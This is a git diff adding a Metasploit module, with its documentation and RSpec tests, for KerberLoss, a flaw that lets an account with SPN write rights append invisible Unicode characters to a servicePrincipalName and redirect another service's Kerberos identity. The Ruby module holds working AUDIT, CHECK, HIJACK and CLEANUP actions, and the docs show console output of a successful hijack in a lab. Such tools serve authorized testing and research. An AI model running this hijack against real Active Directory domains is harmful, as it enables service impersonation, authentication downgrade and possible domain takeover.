diff --git a/documentation/modules/auxiliary/admin/ldap/kerberloss.md b/documentation/modules/auxiliary/admin/ldap/kerberloss.md new file mode 100644 index 0000000000000..fa9c816743c00 --- /dev/null +++ b/documentation/modules/auxiliary/admin/ldap/kerberloss.md @@ -0,0 +1,168 @@ +## Vulnerable Application + +KerberLoss (CVE-2026-25177) is an Active Directory SPN comparison inconsistency. Active Directory stores some +invisible Unicode characters in `servicePrincipalName`, but its LDAP comparison path ignores those characters. +On affected domain controllers, this can bypass SPN and SPN-alias uniqueness checks. + +An operator who has unrestricted `WriteProperty` or equivalent control over another account's +`servicePrincipalName` can add a value such as `cifs/DC1.example.test`. A request for the clean +`cifs/DC1.example.test` value can then resolve to the modified account. The KDC can issue a service ticket encrypted +with that account's key instead of the intended service account's key. A collision with an explicitly registered SPN +can instead cause `KDC_ERR_S_PRINCIPAL_UNKNOWN`, leading to authentication failure or NTLM fallback. + +Microsoft fixed CVE-2026-25177 on March 10, 2026. Test only domain controllers that are deliberately unpatched and +isolated. This module was tested against Windows Server 2019 Datacenter Evaluation build `17763.3650` in an isolated +lab with no default gateway. + +The required permission is important. `Validated-Write-SPN`, including the right held by a machine account over +itself, validates the hostname and normally cannot claim a foreign service identity. A `constraintViolation` can mean +either that the DC is patched or that the operator has only the validated write primitive. It does not distinguish +those cases by itself. + +### Lab setup + +1. Install a pre-March-2026 Windows Server build in an isolated virtual network. +1. Promote the server to a domain controller for a test forest. +1. Create a low-privilege operator account and a separate target account. +1. Give the operator unrestricted write permission on the target account's `servicePrincipalName` property. Do not + use `Validated-Write-SPN` for this test. +1. Give the attacker VM network access only to the isolated domain controller. +1. Record every SPN present on the target account before testing so the original state can be verified afterward. + +## Actions + +### AUDIT + +Reads the target account's explicit SPNs and queries the current owners of `SPN`. This is the default and does not +modify Active Directory. + +### CHECK + +Adds a random `msf/.invalid` SPN with the selected codepoint, queries its clean form, and removes the exact +value in an `ensure` block. A successful LDAP match means the DC appears to have the vulnerable comparison behavior. +This action does not prove KDC ticket-key ownership. + +### HIJACK + +Adds `SPN` plus `UNICODE_CODEPOINT` to the target account and classifies the resulting LDAP resolution as a hijack, +collision, or ineffective write. A collision is only reported when the target account becomes a new owner of the clean +SPN, so a name that already had several owners is not mistaken for a successful write. An ineffective write is rolled +back automatically, as is a write whose verification query fails. A successful hijack or collision is left in place +for authorized testing and must be removed with `CLEANUP`. + +The module refuses to overwrite or later roll back an identical hidden-character SPN that was already present. + +### CLEANUP + +Removes the exact value produced from `SPN` and `UNICODE_CODEPOINT`. The action is idempotent: it reads the target's +SPNs first and does nothing when that exact value is absent. Because the module cannot tell a value it wrote from an +identical value that was already there, it warns before the delete. Compare the value against the baseline recorded +during lab setup before confirming the removal. + +## Verification Steps + +1. Start `msfconsole` from a current Metasploit Framework checkout. +1. Run `use auxiliary/admin/ldap/kerberloss`. +1. Set `RHOSTS`, `LDAPDomain`, `LDAPUsername`, and `LDAPPassword` for the isolated DC. +1. Set either `TARGET_DN` or `TARGET_ACCOUNT`. +1. Set `SPN` to the clean service identity to test. +1. Run the default `AUDIT` action and record the baseline. +1. Set `ACTION CHECK` and run the module. Confirm a second `AUDIT` shows no random probe SPN. +1. Set `ACTION HIJACK` and run the module. +1. Independently request a TGS for the clean SPN and verify that its encrypted ticket part decrypts with the target + account's long-term key. LDAP resolution alone is not cryptographic proof. +1. Set `ACTION CLEANUP` and run the module. +1. Run `AUDIT` again and confirm the target's SPNs match the recorded baseline. + +## Options + +### BASE_DN + +The LDAP base DN. The module discovers it automatically when omitted. + +### TARGET_DN + +The distinguished name of the account that receives the test SPN. Set either this option or `TARGET_ACCOUNT`. + +### TARGET_ACCOUNT + +The `sAMAccountName` of the account that receives the test SPN. Set either this option or `TARGET_DN`. + +### SPN + +The clean service principal name to query or influence, for example `cifs/DC1.example.test`. This option is required +for `AUDIT`, `HIJACK`, and `CLEANUP`. `CHECK` generates a random probe instead. + +Use the exact hostname clients put in the TGS request. Short-name and fully qualified SPNs are different values. + +Supply the clean value only. The module rejects an `SPN` that already carries a comparison-ignorable codepoint, +because every clean-SPN query it runs would otherwise be a query for a poisoned value. + +### UNICODE_CODEPOINT + +The codepoint appended to `SPN`. The default is `U+200C`. The values observed as comparison-ignorable in the tested +Server 2019 lab are `U+00AD`, `U+034F`, `U+061C`, `U+200C`, `U+200D`, `U+2060`, and `U+FEFF`. + +`U+200B` is included as a negative control because it remained literal on the tested build. Unicode comparison tables +can vary between Windows versions, so use `CHECK` before a stateful action. + +## Scenarios + +### Windows Server 2019 Datacenter Evaluation build 17763.3650 + +The isolated lab used `kerberloss.test`, DC `192.0.2.10`, operator `kloperator`, and target DN +`CN=KLTarget,OU=KerberLossLab,DC=kerberloss,DC=test`. + +Baseline audit: + +``` +msf auxiliary(admin/ldap/kerberloss) > run +[*] Running module against 192.0.2.10 +[*] Target: CN=KLTarget,OU=KerberLossLab,DC=kerberloss,DC=test +[*] Target SPN: HTTP/kltarget.kerberloss.test +[*] Exact-query owners of cifs/DC1.kerberloss.test: none +[*] Auxiliary module execution completed +``` + +Reversible comparison check: + +``` +msf auxiliary(admin/ldap/kerberloss) > set ACTION CHECK +ACTION => CHECK +msf auxiliary(admin/ldap/kerberloss) > run +[*] Running module against 192.0.2.10 +[*] Testing comparison behavior with temporary value msf/x1ftvvqs0cb2ywfc.invalid +[+] The clean probe resolved to the account containing the hidden-character SPN; the DC appears affected. +[*] Auxiliary module execution completed +``` + +Service-SPN hijack: + +``` +msf auxiliary(admin/ldap/kerberloss) > set ACTION HIJACK +ACTION => HIJACK +msf auxiliary(admin/ldap/kerberloss) > run +[*] Running module against 192.0.2.10 +[*] Adding cifs/DC1.kerberloss.test to CN=KLTarget,OU=KerberLossLab,DC=kerberloss,DC=test +[+] The clean SPN now resolves to the target account in LDAP: CN=KLTarget,OU=KerberLossLab,DC=kerberloss,DC=test +[!] Request and decrypt a service ticket before treating LDAP resolution as cryptographic proof. +[*] Auxiliary module execution completed +``` + +In this lab, an independent TGS verifier requested `cifs/DC1.kerberloss.test`. The KDC returned encryption type 23, +and the encrypted ticket part decrypted with the `KLTarget` account's RC4-HMAC key. That supplied the cryptographic +proof that the clean service identity had been redirected to the target account. + +Cleanup and baseline restoration: + +``` +msf auxiliary(admin/ldap/kerberloss) > set ACTION CLEANUP +ACTION => CLEANUP +msf auxiliary(admin/ldap/kerberloss) > run +[*] Running module against 192.0.2.10 +[*] Removing cifs/DC1.kerberloss.test from CN=KLTarget,OU=KerberLossLab,DC=kerberloss,DC=test +[+] The exact hidden-character SPN was removed. +[*] Auxiliary module execution completed +``` + +A final `AUDIT` showed only `HTTP/kltarget.kerberloss.test`, and the clean CIFS SPN again had no explicit LDAP owner. diff --git a/modules/auxiliary/admin/ldap/kerberloss.rb b/modules/auxiliary/admin/ldap/kerberloss.rb new file mode 100644 index 0000000000000..33b47338f2380 --- /dev/null +++ b/modules/auxiliary/admin/ldap/kerberloss.rb @@ -0,0 +1,310 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::LDAP + include Msf::OptionalSession::LDAP + + HIDDEN_CHARACTERS = { + 'U+00AD' => "\u{00ad}", + 'U+034F' => "\u{034f}", + 'U+061C' => "\u{061c}", + 'U+200B' => "\u{200b}", + 'U+200C' => "\u{200c}", + 'U+200D' => "\u{200d}", + 'U+2060' => "\u{2060}", + 'U+FEFF' => "\u{feff}" + }.freeze + + COMPARISON_IGNORABLE_CHARACTERS = %w[U+00AD U+034F U+061C U+200C U+200D U+2060 U+FEFF].map do |name| + HIDDEN_CHARACTERS.fetch(name) + end.join.freeze + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'KerberLoss Active Directory SPN Confusion', + 'Description' => %q{ + This module audits for and exercises the KerberLoss service principal name (SPN) + comparison inconsistency in Active Directory. A user with permission to write the + servicePrincipalName attribute of another account can add an SPN containing a + comparison-ignorable Unicode character. On affected domain controllers, a request + for the visually identical SPN can resolve to the modified account or become + ambiguous, enabling service impersonation or authentication downgrade conditions. + + The AUDIT action is read-only. CHECK uses a random, non-service probe SPN and removes + it in an ensure block. HIJACK adds the selected value and leaves it in place only when + LDAP resolution is effective. CLEANUP removes that exact value. LDAP resolution alone + does not prove that a Kerberos service ticket can be decrypted by the target account. + }, + 'Author' => [ + 'Shai Laron', # Vulnerability discovery + 'Elliot Belt', # Public technical research + 'adilalperenciftci' # Metasploit module implementation + ], + 'References' => [ + ['CVE', '2026-25177'], + ['URL', 'https://www.semperis.com/blog/identity-crisis-novel-vulnerabilities-leading-to-kerberos-downgrade-dos-and-full-domain-takeover/'], + ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25177'], + ['URL', 'https://felixbillieres.github.io/posts/kerberloss-cve-2026-25177/'] + ], + 'DisclosureDate' => '2026-03-10', + 'License' => MSF_LICENSE, + 'Actions' => [ + ['AUDIT', { 'Description' => 'Read the target SPNs and current owners of the requested SPN' }], + ['CHECK', { 'Description' => 'Use and remove a random probe SPN to test comparison behavior' }], + ['HIJACK', { 'Description' => 'Add a hidden-character SPN to the target account' }], + ['CLEANUP', { 'Description' => 'Remove the exact hidden-character SPN from the target account' }] + ], + 'DefaultAction' => 'AUDIT', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES] + } + ) + ) + + register_options( + [ + OptString.new('BASE_DN', [false, 'LDAP base DN; discovered automatically when omitted']), + OptString.new('TARGET_DN', [false, 'Distinguished name of the account that receives the SPN']), + OptString.new('TARGET_ACCOUNT', [false, 'sAMAccountName of the account that receives the SPN']), + OptString.new('SPN', [false, 'Clean service principal name, for example cifs/DC1.example.test']), + OptEnum.new('UNICODE_CODEPOINT', [true, 'Hidden codepoint appended to the SPN', 'U+200C', HIDDEN_CHARACTERS.keys]) + ] + ) + end + + def validate + super + + errors = {} + if datastore['TARGET_DN'].blank? && datastore['TARGET_ACCOUNT'].blank? + errors['TARGET_DN'] = 'Set TARGET_DN or TARGET_ACCOUNT.' + end + if action.name != 'CHECK' + if datastore['SPN'].blank? + errors['SPN'] = "The #{action.name} action requires SPN." + elsif !clean_spn?(datastore['SPN']) + errors['SPN'] = 'SPN already contains a comparison-ignorable character; set the clean SPN instead.' + end + end + + raise Msf::OptionValidateError, errors unless errors.empty? + end + + def run + ldap_connect do |ldap| + validate_bind_success!(ldap) + @ldap = ldap + @base_dn = datastore['BASE_DN'].presence || ldap.base_dn + fail_with(Failure::NotFound, "Couldn't discover the base DN") if @base_dn.blank? + + @target_dn = target_dn + send("action_#{action.name.downcase}") + end + rescue Errno::ECONNRESET + fail_with(Failure::Disconnected, 'The connection was reset.') + rescue Rex::ConnectionError => e + fail_with(Failure::Unreachable, e.message) + rescue Net::LDAP::Error => e + fail_with(Failure::Unknown, "#{e.class}: #{e.message}") + end + + def action_audit + spns = target_spns(@target_dn) + print_status("Target: #{@target_dn}") + if spns.empty? + print_status('The target has no explicit servicePrincipalName values.') + else + spns.each { |spn| print_status("Target SPN: #{visible_value(spn)}") } + end + + owners = spn_owners(datastore['SPN']) + print_status("Exact-query owners of #{visible_value(datastore['SPN'])}: #{owners.empty? ? 'none' : owners.join(', ')}") + end + + def action_check + probe_spn = "msf/#{Rex::Text.rand_text_alphanumeric(16).downcase}.invalid" + probe_value = poisoned_spn(probe_spn, datastore['UNICODE_CODEPOINT']) + print_status("Testing comparison behavior with temporary value #{visible_value(probe_value)}") + + owners = with_temporary_spn(@target_dn, probe_value) { spn_owners(probe_spn) } + if owners.any? { |owner| owner.casecmp?(@target_dn) } + print_good('The clean probe resolved to the account containing the hidden-character SPN; the DC appears affected.') + else + print_status('The clean probe did not resolve to the target account.') + end + end + + def action_hijack + clean_spn = datastore['SPN'] + hidden_spn = poisoned_spn(clean_spn, datastore['UNICODE_CODEPOINT']) + if target_spns(@target_dn).include?(hidden_spn) + fail_with(Failure::BadConfig, "The target already contains #{visible_value(hidden_spn)}; refusing to modify or roll back a pre-existing value.") + end + before = spn_owners(clean_spn) + + print_status("Adding #{visible_value(hidden_spn)} to #{@target_dn}") + add_spn(@target_dn, hidden_spn) + + # Anything that leaves this block without an effective result, including a failed + # verification query, has to take the newly written value back out again. + keep_spn = false + begin + classification = classify_resolution(before, spn_owners(clean_spn), @target_dn) + keep_spn = %i[hijack collision].include?(classification) + + case classification + when :hijack + print_good("The clean SPN now resolves to the target account in LDAP: #{@target_dn}") + when :collision + print_good('The clean SPN now has multiple LDAP owners, creating a collision and downgrade condition.') + else + print_warning('The hidden-character SPN did not alter clean-SPN resolution; rolling it back.') + end + + print_warning('Request and decrypt a service ticket before treating LDAP resolution as cryptographic proof.') if keep_spn + ensure + rollback_spn(@target_dn, hidden_spn) unless keep_spn + end + end + + def action_cleanup + hidden_spn = poisoned_spn(datastore['SPN'], datastore['UNICODE_CODEPOINT']) + unless target_spns(@target_dn).include?(hidden_spn) + print_status("#{@target_dn} does not contain #{visible_value(hidden_spn)}; nothing to remove.") + return + end + + print_warning("CLEANUP removes #{visible_value(hidden_spn)} even if this module did not add it; confirm that the value is not a legitimate SPN before continuing.") + print_status("Removing #{visible_value(hidden_spn)} from #{@target_dn}") + delete_spn(@target_dn, hidden_spn) + print_good('The exact hidden-character SPN was removed.') + end + + private + + def hidden_character(codepoint_name) + HIDDEN_CHARACTERS.fetch(codepoint_name) do + raise ArgumentError, "Unsupported hidden codepoint: #{codepoint_name}" + end + end + + def poisoned_spn(spn, codepoint_name) + "#{spn}#{hidden_character(codepoint_name)}" + end + + def visible_value(value) + value.each_codepoint.map do |codepoint| + if codepoint.between?(0x20, 0x7e) + codepoint.chr + else + format('', codepoint) + end + end.join + end + + def normalize_kerberloss_value(value) + value.delete(COMPARISON_IGNORABLE_CHARACTERS).downcase + end + + # A clean SPN is one the DC compares verbatim. If the operator supplied a value that + # already carries an ignorable codepoint, every "clean" query in this module would + # silently be a query for a poisoned value instead. + def clean_spn?(value) + normalize_kerberloss_value(value) == value.downcase + end + + def classify_resolution(owners_before, owners_after, target_object_dn) + normalized_target_dn = target_object_dn.downcase + normalized_before = owners_before.map(&:downcase).uniq + normalized_after = owners_after.map(&:downcase).uniq + return :ineffective if normalized_before.include?(normalized_target_dn) + return :ineffective unless normalized_after.include?(normalized_target_dn) + return :collision if normalized_after.length > 1 + + :hijack + end + + def rollback_spn(object_dn, spn) + delete_spn(object_dn, spn) + print_status("Rolled back #{visible_value(spn)}.") + true + rescue ::StandardError => e + print_error("Couldn't roll back #{visible_value(spn)} on #{object_dn} (#{e.class}: #{e.message}); remove it manually.") + false + end + + def with_temporary_spn(object_dn, spn) + added = false + add_spn(object_dn, spn) + added = true + yield + ensure + if added + original_error = $! + begin + delete_spn(object_dn, spn) + rescue ::StandardError => cleanup_error + raise unless original_error + + print_error("Couldn't remove temporary #{visible_value(spn)} on #{object_dn} (#{cleanup_error.class}: #{cleanup_error.message}); remove it manually.") + end + end + end + + def constraint_failure_message(details) + "The server rejected the SPN with a constraint violation (#{details}). This can indicate a patched DC or an insufficient write primitive; Validated-SPN write is not equivalent to unrestricted servicePrincipalName WriteProperty." + end + + def target_dn + return datastore['TARGET_DN'] if datastore['TARGET_DN'].present? + + filter = Net::LDAP::Filter.eq('sAMAccountName', ldap_escape_filter(datastore['TARGET_ACCOUNT'])) + entries = @ldap.search(base: @base_dn, filter: filter, attributes: ['distinguishedName']) + validate_query_result!(@ldap.get_operation_result.table, filter) + fail_with(Failure::NotFound, "Could not find TARGET_ACCOUNT #{datastore['TARGET_ACCOUNT']}") if entries.empty? + fail_with(Failure::UnexpectedReply, "TARGET_ACCOUNT #{datastore['TARGET_ACCOUNT']} matched multiple objects") if entries.length > 1 + + entries.first[:distinguishedname].first.to_s + end + + def target_spns(object_dn) + entry = @ldap.search(base: object_dn, scope: Net::LDAP::SearchScope_BaseObject, attributes: ['servicePrincipalName'])&.first + validate_query_result!(@ldap.get_operation_result.table) + fail_with(Failure::NotFound, "Could not read #{object_dn}") if entry.nil? + + entry[:serviceprincipalname].map(&:to_s) + end + + def spn_owners(spn) + filter = Net::LDAP::Filter.eq('servicePrincipalName', ldap_escape_filter(spn)) + entries = @ldap.search(base: @base_dn, filter: filter, attributes: ['distinguishedName']) + validate_query_result!(@ldap.get_operation_result.table, filter) + entries.map { |entry| entry[:distinguishedname].first.to_s } + end + + def add_spn(object_dn, spn) + modify_spn(object_dn, :add, spn) + end + + def delete_spn(object_dn, spn) + modify_spn(object_dn, :delete, spn) + end + + def modify_spn(object_dn, operation, spn) + return true if @ldap.modify(dn: object_dn, operations: [[operation, :serviceprincipalname, spn]]) + + result = @ldap.get_operation_result + if result.code == Net::LDAP::ResultCodeConstraintViolation + fail_with(Failure::NoAccess, constraint_failure_message(result.error_message.presence || result.message)) + end + + fail_with(Failure::NoAccess, "LDAP #{operation} failed for #{visible_value(spn)}: #{result.message} - #{result.error_message}") + end +end diff --git a/spec/modules/auxiliary/admin/ldap/kerberloss_spec.rb b/spec/modules/auxiliary/admin/ldap/kerberloss_spec.rb new file mode 100644 index 0000000000000..7bf3c193253d3 --- /dev/null +++ b/spec/modules/auxiliary/admin/ldap/kerberloss_spec.rb @@ -0,0 +1,242 @@ +require 'spec_helper' + +RSpec.describe 'auxiliary/admin/ldap/kerberloss' do + include_context 'Msf::Simple::Framework#modules loading' + + subject(:mod) do + load_and_create_module( + module_type: 'auxiliary', + reference_name: 'admin/ldap/kerberloss' + ) + end + + describe '#hidden_character' do + it 'uses explicit source escapes for the supported codepoints' do + expect(mod.send(:hidden_character, 'U+200C')).to eq("\u{200c}") + expect(mod.send(:hidden_character, 'U+00AD')).to eq("\u{00ad}") + expect(mod.send(:hidden_character, 'U+200B')).to eq("\u{200b}") + end + + it 'rejects an unknown codepoint name' do + expect { mod.send(:hidden_character, 'U+0041') }.to raise_error(ArgumentError, /Unsupported/) + end + end + + describe '#poisoned_spn' do + it 'appends the selected hidden character without changing the visible SPN' do + value = mod.send(:poisoned_spn, 'cifs/DC1.kerberloss.test', 'U+200C') + expect(value).to eq("cifs/DC1.kerberloss.test\u{200c}") + end + end + + describe '#visible_value' do + it 'renders invisible and non-ASCII codepoints explicitly' do + value = "cifs/DC1\u{200c}\u{00ad}" + expect(mod.send(:visible_value, value)).to eq('cifs/DC1') + end + + it 'leaves printable ASCII unchanged' do + expect(mod.send(:visible_value, 'cifs/DC1.example.test')).to eq('cifs/DC1.example.test') + end + end + + describe '#normalize_kerberloss_value' do + it 'removes all known comparison-ignorable characters' do + value = "ci\u{034f}fs/DC1\u{2060}" + expect(mod.send(:normalize_kerberloss_value, value)).to eq('cifs/dc1') + end + + it 'does not remove U+200B, which is a negative control on Server 2019' do + expect(mod.send(:normalize_kerberloss_value, "cifs/DC1\u{200b}")).to eq("cifs/dc1\u{200b}") + end + end + + describe '#clean_spn?' do + it 'accepts an SPN that the DC compares verbatim' do + expect(mod.send(:clean_spn?, 'cifs/DC1.kerberloss.test')).to be(true) + end + + it 'rejects an SPN that already carries a comparison-ignorable character' do + expect(mod.send(:clean_spn?, "cifs/DC1.kerberloss.test\u{200c}")).to be(false) + end + end + + describe '#validate' do + let(:target_dn) { 'CN=KLTarget,OU=KerberLossLab,DC=kerberloss,DC=test' } + + before do + allow(mod).to receive(:optional_session_enabled?).and_return(false) + mod.datastore['TARGET_DN'] = target_dn + end + + it 'runs the framework option validation before the module specific checks' do + mod.datastore['SPN'] = 'cifs/DC1.kerberloss.test' + expect(mod.options).to receive(:validate).with(mod.datastore) + + mod.validate + end + + it 'rejects an SPN that already contains a comparison-ignorable character' do + allow(mod.options).to receive(:validate) + mod.datastore['SPN'] = "cifs/DC1.kerberloss.test\u{200c}" + + error = nil + begin + mod.validate + rescue Msf::OptionValidateError => e + error = e + end + + expect(error).to be_a(Msf::OptionValidateError) + expect(error.reasons['SPN'].join).to match(/comparison-ignorable/) + end + end + + describe '#classify_resolution' do + let(:target_dn) { 'CN=KLTarget,OU=KerberLossLab,DC=kerberloss,DC=test' } + let(:owner_dn) { 'CN=DC1,OU=Domain Controllers,DC=kerberloss,DC=test' } + + it 'classifies a single target owner as a service hijack' do + expect(mod.send(:classify_resolution, [], [target_dn], target_dn)).to eq(:hijack) + end + + it 'classifies multiple normalized owners as a collision and downgrade risk' do + expect(mod.send(:classify_resolution, [owner_dn], [owner_dn, target_dn], target_dn)).to eq(:collision) + end + + it 'classifies a write that does not resolve to the target as ineffective' do + expect(mod.send(:classify_resolution, [], [], target_dn)).to eq(:ineffective) + end + + it 'does not report a collision when the pre-existing owners are unchanged' do + owners = [owner_dn, 'CN=DC2,OU=Domain Controllers,DC=kerberloss,DC=test'] + expect(mod.send(:classify_resolution, owners, owners, target_dn)).to eq(:ineffective) + end + + it 'classifies an unchanged pre-existing target owner as ineffective' do + expect(mod.send(:classify_resolution, [target_dn], [target_dn], target_dn)).to eq(:ineffective) + end + end + + describe '#action_hijack' do + let(:target_dn) { 'CN=KLTarget,OU=KerberLossLab,DC=kerberloss,DC=test' } + let(:owner_dn) { 'CN=DC1,OU=Domain Controllers,DC=kerberloss,DC=test' } + let(:clean_spn) { 'cifs/DC1.kerberloss.test' } + let(:hidden_spn) { "cifs/DC1.kerberloss.test\u{200c}" } + + before do + mod.instance_variable_set(:@target_dn, target_dn) + mod.datastore['SPN'] = clean_spn + allow(mod).to receive(:target_spns).and_return([]) + allow(mod).to receive(:print_status) + allow(mod).to receive(:print_good) + allow(mod).to receive(:print_warning) + allow(mod).to receive(:print_error) + end + + it 'keeps the SPN when the clean name resolves to the target account' do + allow(mod).to receive(:spn_owners).and_return([], [target_dn]) + expect(mod).to receive(:add_spn).with(target_dn, hidden_spn) + expect(mod).not_to receive(:delete_spn) + + mod.action_hijack + end + + it 'rolls back the exact value when the verification query fails' do + calls = 0 + allow(mod).to receive(:spn_owners) do + calls += 1 + raise Net::LDAP::Error, 'verification failed' if calls > 1 + + [] + end + expect(mod).to receive(:add_spn).with(target_dn, hidden_spn) + expect(mod).to receive(:delete_spn).with(target_dn, hidden_spn) + + expect { mod.action_hijack }.to raise_error(Net::LDAP::Error, /verification failed/) + end + + it 'reports a failed rollback without masking the original error' do + calls = 0 + allow(mod).to receive(:spn_owners) do + calls += 1 + raise Net::LDAP::Error, 'verification failed' if calls > 1 + + [] + end + allow(mod).to receive(:add_spn) + allow(mod).to receive(:delete_spn).and_raise(Net::LDAP::Error, 'rollback failed') + expect(mod).to receive(:print_error).with(/remove it manually/) + + expect { mod.action_hijack }.to raise_error(Net::LDAP::Error, /verification failed/) + end + + it 'rolls back when the clean SPN already had several owners and nothing changed' do + owners = [owner_dn, 'CN=DC2,OU=Domain Controllers,DC=kerberloss,DC=test'] + allow(mod).to receive(:spn_owners).and_return(owners, owners) + allow(mod).to receive(:add_spn) + expect(mod).to receive(:delete_spn).with(target_dn, hidden_spn) + + mod.action_hijack + end + end + + describe '#action_cleanup' do + let(:target_dn) { 'CN=KLTarget,OU=KerberLossLab,DC=kerberloss,DC=test' } + let(:hidden_spn) { "cifs/DC1.kerberloss.test\u{200c}" } + + before do + mod.instance_variable_set(:@target_dn, target_dn) + mod.datastore['SPN'] = 'cifs/DC1.kerberloss.test' + allow(mod).to receive(:print_status) + allow(mod).to receive(:print_good) + allow(mod).to receive(:print_warning) + end + + it 'does not issue a write when the exact value is absent' do + allow(mod).to receive(:target_spns).and_return(['cifs/DC1.kerberloss.test']) + expect(mod).not_to receive(:delete_spn) + + mod.action_cleanup + end + + it 'warns that it removes a value this module may not have added' do + allow(mod).to receive(:target_spns).and_return([hidden_spn]) + expect(mod).to receive(:print_warning).with(/even if this module did not add it/) + expect(mod).to receive(:delete_spn).with(target_dn, hidden_spn) + + mod.action_cleanup + end + end + + describe '#with_temporary_spn' do + it 'removes the exact probe value even when verification raises' do + expect(mod).to receive(:add_spn).with('CN=KLTarget,DC=example,DC=test', "msf/probe\u{200c}") + expect(mod).to receive(:delete_spn).with('CN=KLTarget,DC=example,DC=test', "msf/probe\u{200c}") + + expect do + mod.send(:with_temporary_spn, 'CN=KLTarget,DC=example,DC=test', "msf/probe\u{200c}") do + raise Net::LDAP::Error, 'verification failed' + end + end.to raise_error(Net::LDAP::Error, /verification failed/) + end + + it 'does not delete a value that was never added' do + allow(mod).to receive(:add_spn).and_raise(Net::LDAP::Error, 'write failed') + expect(mod).not_to receive(:delete_spn) + + expect do + mod.send(:with_temporary_spn, 'CN=KLTarget,DC=example,DC=test', "msf/probe\u{200c}") { nil } + end.to raise_error(Net::LDAP::Error, /write failed/) + end + end + + describe '#constraint_failure_message' do + it 'does not claim a constraint violation proves that the DC is patched' do + message = mod.send(:constraint_failure_message, 'constraintViolation') + expect(message).to include('patched DC') + expect(message).to include('insufficient write primitive') + expect(message).not_to match(/is patched/i) + end + end +end